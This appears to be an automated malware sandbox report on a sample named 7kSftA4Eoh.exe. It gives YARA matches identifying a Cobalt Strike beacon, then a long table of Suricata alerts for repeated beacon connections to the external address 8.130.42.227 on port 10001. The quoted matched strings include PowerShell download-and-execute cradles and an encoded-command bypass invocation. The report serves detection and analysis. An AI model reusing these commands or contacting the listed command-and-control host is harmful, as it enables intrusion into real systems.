0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x2f48f:$s1: %%IMPORT%% 0x2e987:$s2: www6.%x%x.%s 0x2e97b:$s3: cdn.%x%x.%s 0x2ec03:$s4: api.%x%x.%s 0x2f970:$s5: %s (admin) 0x2ec72:$s6: could not spawn %s: %d 0x2f533:$s7: Could not kill %d: %d 0x2ed4c:$s8: Could not connect to pipe (%s): %d 0x2e994:$s9: %s.1%x.%x%x.%s 0x2e9a3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ea1b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ea7e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eac4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb02:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2eb38:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb61:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb86:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x2eba7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x2ebc4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x2ebdd:$s9: %s.1%08x%08x.%x%x.%s 0x2ebf2:$s9: %s.1%08x.%x%x.%s
0.2.7kSftA4Eoh.exe.990000.1.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.7kSftA4Eoh.exe.990000.1.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.7kSftA4Eoh.exe.990000.1.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2cfa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d01b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d785:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2dab7:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2da49:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2dab7:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2d07e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d20f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2d0c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2db01:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d36f:$a11: Could not open service control manager on %s: %d 0x2d8a1:$a12: %d is an x64 process (can't inject x86 content) 0x2d8d1:$a13: %d is an x86 process (can't inject x64 content) 0x2dbf2:$a14: Failed to impersonate logged on user %d (%u) 0x2d85a:$a15: could not create remote thread in %d: %d 0x2d138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d808:$a17: could not write to process memory: %d 0x2d3a0:$a18: Could not create service %s on %s: %d 0x2d429:$a19: Could not delete service %s on %s: %d 0x2d289:$a20: Could not open process token: %d (%u)
0.2.7kSftA4Eoh.exe.990000.1.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x195f8:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.7kSftA4Eoh.exe.990000.1.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16ed2:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x18183:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.7kSftA4Eoh.exe.990000.1.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2dab7:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2db01:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d8d1:$x3: %d is an x86 process (can't inject x64 content) 0x2d289:$s1: Could not open process token: %d (%u) 0x2cfa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d34c:$s4: Could not connect to pipe (%s): %d
0.2.7kSftA4Eoh.exe.990000.1.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3c021:$loader_export: ReflectiveLoader 0x2cf60:$exportname: beacon.dll
0.2.7kSftA4Eoh.exe.990000.1.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2d8a1:$x2: %d is an x64 process (can't inject x86 content) 0x2dbf2:$x3: Failed to impersonate logged on user %d (%u) 0x2db01:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2dab7:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d20f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2d808:$s4: could not write to process memory: %d 0x2cfa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d34c:$s6: Could not connect to pipe (%s): %d
0.2.7kSftA4Eoh.exe.990000.1.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2df70:$str1: %s (admin) 0x2cf60:$str2: beacon.dll
0.2.7kSftA4Eoh.exe.990000.1.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2db01:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d8d1:$x2: %d is an x86 process (can't inject x64 content) 0x2dab7:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2db9b:$x4: Failed to impersonate token from %d (%u) 0x2dbf2:$x5: Failed to impersonate logged on user %d (%u) 0x2cfa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.7kSftA4Eoh.exe.990000.1.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
0.2.7kSftA4Eoh.exe.990000.1.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x2da8f:$s1: %%IMPORT%% 0x2cf87:$s2: www6.%x%x.%s 0x2cf7b:$s3: cdn.%x%x.%s 0x2d203:$s4: api.%x%x.%s 0x2df70:$s5: %s (admin) 0x2d272:$s6: could not spawn %s: %d 0x2db33:$s7: Could not kill %d: %d 0x2d34c:$s8: Could not connect to pipe (%s): %d 0x2cf94:$s9: %s.1%x.%x%x.%s 0x2cfa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d01b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d07e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d0c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2d138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x2d1a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x2d1c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x2d1dd:$s9: %s.1%08x%08x.%x%x.%s 0x2d1f2:$s9: %s.1%08x.%x%x.%s
Click to see the 18 entries

Suricata Signatures

ET MALWARE Cobalt Strike Beacon Observed

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T09:17:00.947197+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49731	8.130.42.227	10001	TCP
2024-10-01T09:17:02.228973+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49732	8.130.42.227	10001	TCP
2024-10-01T09:17:03.309425+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49733	8.130.42.227	10001	TCP
2024-10-01T09:17:04.366070+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49734	8.130.42.227	10001	TCP
2024-10-01T09:17:05.519622+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49735	8.130.42.227	10001	TCP
2024-10-01T09:17:06.606342+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49736	8.130.42.227	10001	TCP
2024-10-01T09:17:07.666636+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49737	8.130.42.227	10001	TCP
2024-10-01T09:17:08.719912+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49738	8.130.42.227	10001	TCP
2024-10-01T09:17:09.790001+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49739	8.130.42.227	10001	TCP
2024-10-01T09:17:13.878848+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49740	8.130.42.227	10001	TCP
2024-10-01T09:17:14.961547+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49742	8.130.42.227	10001	TCP
2024-10-01T09:17:16.042408+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49744	8.130.42.227	10001	TCP
2024-10-01T09:17:17.115300+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49747	8.130.42.227	10001	TCP
2024-10-01T09:17:18.198314+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49749	8.130.42.227	10001	TCP
2024-10-01T09:17:19.277882+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49751	8.130.42.227	10001	TCP
2024-10-01T09:17:20.348397+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49752	8.130.42.227	10001	TCP
2024-10-01T09:17:21.432830+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49753	8.130.42.227	10001	TCP
2024-10-01T09:17:23.040968+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49754	8.130.42.227	10001	TCP
2024-10-01T09:17:24.109998+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49755	8.130.42.227	10001	TCP
2024-10-01T09:17:25.186486+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49756	8.130.42.227	10001	TCP
2024-10-01T09:17:26.245359+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49757	8.130.42.227	10001	TCP
2024-10-01T09:17:27.329221+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49758	8.130.42.227	10001	TCP
2024-10-01T09:17:28.415425+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49759	8.130.42.227	10001	TCP
2024-10-01T09:17:29.482062+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49760	8.130.42.227	10001	TCP
2024-10-01T09:17:31.128011+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49761	8.130.42.227	10001	TCP
2024-10-01T09:17:32.766854+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49762	8.130.42.227	10001	TCP
2024-10-01T09:17:33.850975+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49763	8.130.42.227	10001	TCP
2024-10-01T09:17:34.934000+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49764	8.130.42.227	10001	TCP
2024-10-01T09:17:36.009885+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49765	8.130.42.227	10001	TCP
2024-10-01T09:17:37.091878+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49766	8.130.42.227	10001	TCP
2024-10-01T09:17:38.179805+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49767	8.130.42.227	10001	TCP
2024-10-01T09:17:39.265872+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49768	8.130.42.227	10001	TCP
2024-10-01T09:17:40.358668+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49769	8.130.42.227	10001	TCP
2024-10-01T09:17:41.456699+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49770	8.130.42.227	10001	TCP
2024-10-01T09:17:42.535412+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49771	8.130.42.227	10001	TCP
2024-10-01T09:17:43.632204+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49772	8.130.42.227	10001	TCP
2024-10-01T09:17:44.697946+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49773	8.130.42.227	10001	TCP
2024-10-01T09:17:45.952669+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49774	8.130.42.227	10001	TCP
2024-10-01T09:17:47.050823+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49775	8.130.42.227	10001	TCP
2024-10-01T09:17:48.123972+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49776	8.130.42.227	10001	TCP
2024-10-01T09:17:49.197763+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49777	8.130.42.227	10001	TCP
2024-10-01T09:17:50.296179+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49778	8.130.42.227	10001	TCP
2024-10-01T09:17:51.369205+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49779	8.130.42.227	10001	TCP
2024-10-01T09:17:52.431620+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49780	8.130.42.227	10001	TCP
2024-10-01T09:17:53.539482+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49782	8.130.42.227	10001	TCP
2024-10-01T09:17:54.689844+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49783	8.130.42.227	10001	TCP
2024-10-01T09:17:55.758444+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49784	8.130.42.227	10001	TCP
2024-10-01T09:17:56.837786+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49785	8.130.42.227	10001	TCP
2024-10-01T09:17:58.517597+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49786	8.130.42.227	10001	TCP
2024-10-01T09:17:59.583634+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49787	8.130.42.227	10001	TCP
2024-10-01T09:18:00.651525+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49788	8.130.42.227	10001	TCP
2024-10-01T09:18:01.725930+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49789	8.130.42.227	10001	TCP
2024-10-01T09:18:02.821096+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49790	8.130.42.227	10001	TCP
2024-10-01T09:18:03.911927+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49791	8.130.42.227	10001	TCP
2024-10-01T09:18:04.981938+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49792	8.130.42.227	10001	TCP
2024-10-01T09:18:06.064082+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49793	8.130.42.227	10001	TCP
2024-10-01T09:18:07.142989+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49794	8.130.42.227	10001	TCP
2024-10-01T09:18:08.247427+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49795	8.130.42.227	10001	TCP
2024-10-01T09:18:09.322269+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49796	8.130.42.227	10001	TCP
2024-10-01T09:18:10.406359+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49797	8.130.42.227	10001	TCP
2024-10-01T09:18:11.475283+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49798	8.130.42.227	10001	TCP
2024-10-01T09:18:12.557418+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49799	8.130.42.227	10001	TCP
2024-10-01T09:18:13.614005+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49800	8.130.42.227	10001	TCP
2024-10-01T09:18:14.684749+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49801	8.130.42.227	10001	TCP
2024-10-01T09:18:15.752081+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49802	8.130.42.227	10001	TCP
2024-10-01T09:18:16.838929+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49803	8.130.42.227	10001	TCP
2024-10-01T09:18:17.902793+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49804	8.130.42.227	10001	TCP
2024-10-01T09:18:19.022823+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49805	8.130.42.227	10001	TCP
2024-10-01T09:18:20.290340+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49806	8.130.42.227	10001	TCP
2024-10-01T09:18:21.351390+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49807	8.130.42.227	10001	TCP
2024-10-01T09:18:22.404212+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49808	8.130.42.227	10001	TCP
2024-10-01T09:18:23.470412+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49809	8.130.42.227	10001	TCP
2024-10-01T09:18:24.563314+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49810	8.130.42.227	10001	TCP
2024-10-01T09:18:25.624597+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49811	8.130.42.227	10001	TCP
2024-10-01T09:18:26.699887+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49812	8.130.42.227	10001	TCP
2024-10-01T09:18:27.768611+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49813	8.130.42.227	10001	TCP
2024-10-01T09:18:28.877591+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49814	8.130.42.227	10001	TCP
2024-10-01T09:18:29.989644+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49815	8.130.42.227	10001	TCP
2024-10-01T09:18:31.053847+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49816	8.130.42.227	10001	TCP
2024-10-01T09:18:32.116169+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49817	8.130.42.227	10001	TCP
2024-10-01T09:18:33.219289+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49818	8.130.42.227	10001	TCP
2024-10-01T09:18:34.334705+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49819	8.130.42.227	10001	TCP
2024-10-01T09:18:35.513333+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49820	8.130.42.227	10001	TCP
2024-10-01T09:18:39.577881+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49821	8.130.42.227	10001	TCP
2024-10-01T09:18:40.809481+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49822	8.130.42.227	10001	TCP
2024-10-01T09:18:41.920610+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49823	8.130.42.227	10001	TCP
2024-10-01T09:18:42.984606+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49824	8.130.42.227	10001	TCP
2024-10-01T09:18:44.063633+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49825	8.130.42.227	10001	TCP
2024-10-01T09:18:45.136440+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49826	8.130.42.227	10001	TCP
2024-10-01T09:18:46.218684+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49827	8.130.42.227	10001	TCP
2024-10-01T09:18:47.282624+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49828	8.130.42.227	10001	TCP
2024-10-01T09:18:48.375102+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49829	8.130.42.227	10001	TCP
2024-10-01T09:18:49.608325+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49830	8.130.42.227	10001	TCP
2024-10-01T09:18:50.703630+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49831	8.130.42.227	10001	TCP
2024-10-01T09:18:51.880088+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49832	8.130.42.227	10001	TCP
2024-10-01T09:18:53.537161+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49833	8.130.42.227	10001	TCP
2024-10-01T09:18:55.387877+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49834	8.130.42.227	10001	TCP
2024-10-01T09:18:56.475650+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49835	8.130.42.227	10001	TCP
2024-10-01T09:18:57.540720+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49836	8.130.42.227	10001	TCP
2024-10-01T09:18:58.616732+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49837	8.130.42.227	10001	TCP
2024-10-01T09:18:59.714059+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49838	8.130.42.227	10001	TCP
2024-10-01T09:19:00.832433+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49839	8.130.42.227	10001	TCP
2024-10-01T09:19:02.068888+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49840	8.130.42.227	10001	TCP
2024-10-01T09:19:03.153098+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49841	8.130.42.227	10001	TCP
2024-10-01T09:19:04.246598+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49842	8.130.42.227	10001	TCP
2024-10-01T09:19:05.506380+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49843	8.130.42.227	10001	TCP
2024-10-01T09:19:06.612184+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49844	8.130.42.227	10001	TCP
2024-10-01T09:19:07.716740+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49845	8.130.42.227	10001	TCP
2024-10-01T09:19:08.837611+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49846	8.130.42.227	10001	TCP
2024-10-01T09:19:09.922438+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49847	8.130.42.227	10001	TCP
2024-10-01T09:19:11.239656+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49848	8.130.42.227	10001	TCP
2024-10-01T09:19:12.386735+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49849	8.130.42.227	10001	TCP
2024-10-01T09:19:13.536698+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49850	8.130.42.227	10001	TCP
2024-10-01T09:19:14.618716+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49851	8.130.42.227	10001	TCP
2024-10-01T09:19:15.775008+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49852	8.130.42.227	10001	TCP
2024-10-01T09:19:16.917650+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49853	8.130.42.227	10001	TCP
2024-10-01T09:19:18.007050+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49854	8.130.42.227	10001	TCP
2024-10-01T09:19:19.142195+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49855	8.130.42.227	10001	TCP
2024-10-01T09:19:20.210883+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49856	8.130.42.227	10001	TCP
2024-10-01T09:19:21.334691+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49857	8.130.42.227	10001	TCP
2024-10-01T09:19:22.475180+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49858	8.130.42.227	10001	TCP
2024-10-01T09:19:23.599602+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49859	8.130.42.227	10001	TCP
2024-10-01T09:19:24.837105+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49860	8.130.42.227	10001	TCP
2024-10-01T09:19:25.934898+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49861	8.130.42.227	10001	TCP
2024-10-01T09:19:27.087377+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49862	8.130.42.227	10001	TCP
2024-10-01T09:19:28.172842+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49863	8.130.42.227	10001	TCP
2024-10-01T09:19:29.264189+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49864	8.130.42.227	10001	TCP
2024-10-01T09:19:30.316787+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49865	8.130.42.227	10001	TCP
2024-10-01T09:19:31.392561+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49866	8.130.42.227	10001	TCP
2024-10-01T09:19:32.464935+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49867	8.130.42.227	10001	TCP
2024-10-01T09:19:33.550740+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49868	8.130.42.227	10001	TCP
2024-10-01T09:19:34.630154+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49869	8.130.42.227	10001	TCP
2024-10-01T09:19:35.695994+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49870	8.130.42.227	10001	TCP
2024-10-01T09:19:36.920659+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49871	8.130.42.227	10001	TCP
2024-10-01T09:19:38.425762+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49872	8.130.42.227	10001	TCP
2024-10-01T09:19:39.518197+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49873	8.130.42.227	10001	TCP
2024-10-01T09:19:40.591060+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49874	8.130.42.227	10001	TCP
2024-10-01T09:19:42.136365+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49875	8.130.42.227	10001	TCP
2024-10-01T09:19:43.230968+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49876	8.130.42.227	10001	TCP
2024-10-01T09:19:44.304788+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49877	8.130.42.227	10001	TCP
2024-10-01T09:19:45.387293+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49878	8.130.42.227	10001	TCP
2024-10-01T09:19:46.467149+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49879	8.130.42.227	10001	TCP
2024-10-01T09:19:47.532118+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49880	8.130.42.227	10001	TCP
2024-10-01T09:19:48.616951+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49881	8.130.42.227	10001	TCP
2024-10-01T09:19:49.687932+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49882	8.130.42.227	10001	TCP
2024-10-01T09:19:50.784094+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49883	8.130.42.227	10001	TCP
2024-10-01T09:19:51.912928+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49884	8.130.42.227	10001	TCP
2024-10-01T09:19:52.973922+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49885	8.130.42.227	10001	TCP
2024-10-01T09:19:54.271035+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49886	8.130.42.227	10001	TCP
2024-10-01T09:19:58.400646+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49887	8.130.42.227	10001	TCP
2024-10-01T09:19:59.471246+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49888	8.130.42.227	10001	TCP
2024-10-01T09:20:00.548335+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49889	8.130.42.227	10001	TCP
